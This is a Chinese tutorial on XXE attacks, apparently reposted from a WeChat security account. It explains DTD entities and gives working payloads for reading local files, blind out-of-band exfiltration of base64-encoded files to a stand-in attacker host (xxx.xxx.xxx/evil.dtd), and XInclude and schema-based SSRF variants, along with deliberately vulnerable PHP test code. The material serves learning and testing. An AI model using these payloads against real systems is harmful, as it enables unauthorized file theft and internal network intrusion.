专栏首页漏斗社区歪?我想要一个XXE。

歪?我想要一个XXE。

0x00 背景

近期看到OWASP TOP 10 2017 版中添加了XXE的内容便对XXE的一些知识进行梳理和总结,XXE可以使用例如http,file等协议,所以可以利用支持的协议进行内网探测和内网入侵,这部分的内容后续在SSRF中补充。

要点:libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

参考链接:

http://vulhub.org/#/environments/php_xxe/

有回显有报错测试代码:

1.<?php
2.$xml=simplexml_load_string($_POST['xml']);
3.print_r($xml);
4.?>

无回显无报错测试代码:

1.<?php
2.$xml=@simplexml_load_string($_POST['xml']);
3.?>

0x01 DTD的基础知识

概念:

XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

参考链接:http://www.w3school.com.cn/dtd/

首先了解下基本的PAYLOAD结构,然后再介绍每部分涉及的知识点,如下PAYLOAD开头进行了XML的声明,然后使用DTD声明实体(这里使用了file协议),最后使用XML获取实体的数据。

基本的PAYLOAD结构:

使用DTD实体的攻击方式

DTD 引用方式(简要了解):

1. DTD 内部声明

<!DOCTYPE 根元素 [元素声明]>

2. DTD 外部引用

<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

3. 引用公共DTD

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

示例:

<?xml version="1.0"?>   
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;

DTD 实体声明(重点学习):

1. 内部实体声明

<!ENTITY 实体名称 "实体的值"> 一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY xxe "Thinking">]>
3.<foo>&xxe;</foo>

2. 外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL"> 外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

示例:

1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
3.<foo>&xxe;</foo>

3. 参数实体声明

1.<!ENTITY % 实体名称 "实体的值">
2.or
3.<!ENTITY % 实体名称 SYSTEM "URI">

示例:

1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
3.%xxe;]>
4.<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

4. 引用公共实体

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

0x02 XXE的利用方式-DTD

使用DTD的利用方式

利用xxe漏洞可以进行拒绝服务攻击,文件读取,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等,内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,可以理解是使用xxe进行SSRF的利用,基本上啥都能做了:-)

一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。

1. 有回显情况:

有回显的情况可以使用如下的两种方式进行XXE注入攻击。

1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
3.<foo>&xxe;</foo>
1.<!DOCTYPE foo [<!ELEMENT foo ANY >
2.<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
3.%xxe;]>
4.<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

当然也可以进行内网站点的入侵(属于SSRF的内容 后续补充)。

2. 无回显的情况:

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

1.<!DOCTYPE updateProfile [
2.  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
3.  <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
4.%dtd;
5.%send;
6.]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25。

1.<!ENTITY % all
2. "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
3. >
4.%all;

有报错直接查看报错信息。

无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

XXE的拓展知识

0x01 xmlns的基本知识

接下来说一些拓展的知识,这些攻击方式,需要有某些条件才能正常利用,下文仅对互联网上的一些知识进行梳理,暂未验证。

概念: XML Schema:称为可扩展标记语言架构,用来定义 XML 文档的合法构建模块,类似 DTD,Schema是DTD的替代者, 它比DTD可以做更多的事情 。 参考链接:

http://www.w3school.com.cn/schema/schema_intro.asp

先说下xmlns,当有多个文档被一起使用时候不同文档可能带有不同内容和定义名称相同的元素,这样就会发生命名冲突,XML解释器无法确定如何处理这类冲突,而xmlns可以解决这个问题,我们为标签添加了一个 xmlns 属性,这样就为前缀赋予了一个与某个命名空间相关联的限定名称。此时再把它们放在一起,XML解析器就不会报错了。

1.<!-- 这里xmlns:abc="url"表示这个table是用abc作为标记,table的写法在url中定义 -->
2.<abc:table xmlns:abc="url">
3.  <abc:tr>
4.    <abc:td>Apples</abc:td>
5.    <abc:td>Bananas</abc:td>
6.  </abc:tr>
7.</abc:table>

语法:xmlns=”namespaceURI”表示默认的Namespace,可以不使用前缀;非默认的便需要使用前缀避免XML报错。 xmlns:namespace-prefix=”namespaceURI”,其中namespace-prefix为自定义前缀,只要在这个XML文档中保证前缀不重复即可;namespaceURI是这个前缀对应的XML Namespace的定义,如下例子中的xmlns:xsi表示使用xsi作为前缀的Namespace。

xsi:schemaLocation属性便是Namespace为http://www.w3.org/2001/XMLSchema-instance里的schemaLocation属性。xsi:schemaLocation定义了XML Namespace和对应的 XSD(Xml Schema Definition)文档的位置的关系。它的值由一个或多个URI引用对组成,两个URI之间以空白符分隔(空格和换行均可)。第一个URI是定义的 XML Namespace的值,第二个URI给出Schema文档的位置,Schema处理器将从这个位置读取Schema文档,文档的targetNamespace必须与第一个URI相匹,具体内容如下所示:

1.<?xml version="1.0"?>
2.
3.<note xmlns="http://www.runoob.com"
4.xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
5.xsi:schemaLocation="http://www.springframework.org/schema/context
6.                    http://www.springframework.org/schema/context/spring-context.xsd"
7.
8.targetNamespace="http://www.springframework.org/schema/context"
9.......
10.</note>

0x02 使用XML Schema 实体的攻击方式

XML Schema攻击的分类

根据FB的小编对外文的翻译,得知XML Schema攻击分为:

1.schemaLocation

2.noNamespaceSchemaLocation

3.XInclude。

4.XSLT 攻击

1. schemaLocation

在OWASP 的XML External Entity Attacks(XXE)议题中有看到这这个知识点,但是具体的案例并未找到,FB给出了如下的示例。

1.<?xml version='1.0'?>
2.<!DOCTYPE data [
3.<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
4.%remote;
5.]>
6.<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
7.   xmlns:ttt="http://test.com/attack"
8. xsi:schemaLocation="ttt http://publicServer.com/&internal;">4</ttt:data>

2. noNamespaceSchemaLocation

schemaLocation一样,在OWASP 的XML External Entity Attacks(XXE)议题中有看到这个知识点,但是具体的案例并未找到,FB给出了如下的示例,也给出了SSRF的示例,但是在示例中总觉得有些诡异,这也是我疑惑的地方。

1.<?xml version='1.0'?>
2.<!DOCTYPE data [
3.<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
4.%remote;
5.]>
6.<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
7.    xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;"></data>

3. XInclude

XInclude在XML Schema, DTD, and Entity Attacks 的文档中有提到,但是经过测试和查阅材料,在微软的将 XML 文档与 XInclude 合并在一起这篇文档中有提到并不是所有XML 语法分析程序都支持 XInclude,W3C在XInclude Implementations Report中列出了支持的列表,include的href属性中可以进行文件读取,也可以使用协议进行SSRF,freebuf中是使用DTD实体的方式再结合XInclude进行利用的,似乎觉得有些不大贴切,因为如果可以使用XInclude的话那么就不需要使用DTD了,直接在href属性中利用协议获取信息,即可;但是FB这种在属性处使用&internal;的思路值得借鉴。

XML Schema, DTD, and Entity Attacks中的示例:

freebuf的示例,如下所示:

1.<?xml version="1.0" encoding="utf-8"?>
2.<!DOCTYPE data [
3.<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
4.%remote;
5.]>
6.<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://192.168.2.31/&internal;" parse="text"></xi:include></data>

以上示例中external_entity_attribute.dtd文件的内容,根据示例中的参数实体payload的声明,在此处应该可以使用各种协议进行SSRF等操作。

1.<!ENTITY % payload SYSTEM "file:///sys/power/image_size">
2.<!ENTITY % param1 "<!ENTITY internal '%payload;'>">
3.%param1;

4. XSLT 攻击

这个攻击方式在XML Out-Of-Band Data Retrieval有提到,可以通过如下的方式先用document()获得目标主机的信息,然后使用concat()将数据与evil主机进行拼接,然后document()访问拼接后的地址,便可以在evil主机日志上获得信息。 XSL中document() 用于访问外部 XML 文档中的节点;concat(string,string,…)用于返回字符串的拼接。

0x03 总结

互联网上XXE的文章还是很多的,所以先进行知识的梳理,方便学习和提高,本文参考了互联网上各个师傅和前辈的文章进行总结和梳理,在拓展部分的知识还有许多地方还未进行实践和验证,仅是先做个记录方便后续完善和测试,大家如果已经复现过了或者有更好场景,期待一起交流,如下是撰写本文的参考链接。

参考链接:
http://www.w3school.com.cn/dtd/dtd_intro.asp
http://www.w3school.com.cn/schema/schema_summary.asp
http://www.w3school.com.cn/xml/xml_usedfor.asp
https://www.w3.org/XML/2002/09/xinclude-implementation
http://www.runoob.com/xsl/xsl-browsers.html
http://blog.csdn.net/sunxing007/article/details/5684265
http://blog.csdn.net/a19881029/article/details/41890347
http://blog.csdn.net/zhch152/article/details/8191377
http://xmlwriter.net/xml_guide/entity_declaration.shtml
http://www.mamicode.com/info-detail-1208231.html
http://blog.csdn.net/u013224189/article/details/49759845
http://www.91ri.org/17052.html
http://www.91ri.org/9539.html
http://www.91ri.org/12618.html
http://www.91ri.org/12814.html
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#PHP
http://www.freebuf.com/articles/web/126788.html
http://www.freebuf.com/articles/web/97833.html
https://msdn.microsoft.com/zh-cn/library/aa302291.aspx
https://security.tencent.com/index.php/blog/msg/69
http://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf
https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://github.com/BuffaloWill/oxml_xxe/tree/master/samples
https://github.com/CHYbeta/Web-Security-Learning#xxe

本文分享自微信公众号 - 漏斗社区(newdooneSec)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-12-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 一行代码彻底禁用WordPress缩略图自动裁剪功能

    记得在博客分享七牛缩略图教程的时候,提到过 WordPress 默认会将上传的图片裁剪成多个,不但占用磁盘空间,也会拖慢网站性能,相当闹心! 当时也提到了解决办...

    张戈
  • WordPress发布/更新文章、提交/审核评论自动清理腾讯云CDN缓存

    目前张戈博客同时使用了腾讯云、VeryCloud 以及七牛 CDN,其中腾讯云负责电信线路流量,VeryCloud 负责默认线路流量,而七牛主要是用于缩略图展示...

    张戈
  • 修改WordPress默认评论表情(附:跳转到多说评论框的方法)

    先吐槽一下:这两天博主折腾抢票火车票去了,博客也没怎么打理,最不爽的是折腾到最后才弄到一张无座的,唉,说多了都是泪啊!铁道部你技术不行可以招标啊,干嘛拿老百姓做...

    张戈
  • 基于JIRA的产品需求全生命周期管理实践

    本文将以有赞零售产品为例,介绍需求全生命周期的管理实践,包括:商家的原始需求收集、产品设计与评审、研发的需求实现、上线后运营反馈、新一轮迭代优化,构成了需求全生...

    用户1263954
  • cubieboard(树莓派)安装Ubuntu+Apache+PHP+Mysql

    其实说实话,我不太喜欢Apache,我比较青睐Nginx。但是CB不太给力,装了好几次LNMP都不成功。倒也不是说Nginx不成功,而是PHP和Mysql总是出...

    行 者
  • my php & mysql FAQ

    php中文字符串长度及定长截取问题使用str_len("中国") 结果为6,php系统默认一个中文字符长度为3,可改用mb_strlen函数获得长度,mb_su...

    财主刀刀
  • node.js进阶学习

    简介 如果您听说过 Node,或者阅读过一些文章,宣称 Node 是多么多么的棒,那么您可能会想:“Node 究竟是什么东西?”尽管不是针对所有人的,但 Nod...

    财主刀刀
  • nodejs php go语言了解

    1、Nodejs 1) 简单的说 Node.js 就是运行在服务端的 JavaScript。 2) Node.js 是一个基于Chrome JavaScript...

    李海彬
  • HDUOJ-Counting Triangles

    Counting Triangles Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536...

    Gxjun
  • PHP码农在Golang压力下的生存之道-PHP性能优化实践

    随着国内Golang的火爆,phper的生存压力越来越大,在一次内部技术讨论中,gopher甚至提出,要什么php,写php的全部开掉,唉,码农何苦为难码农。 ...

    财主刀刀

扫码关注云+社区

领取腾讯云代金券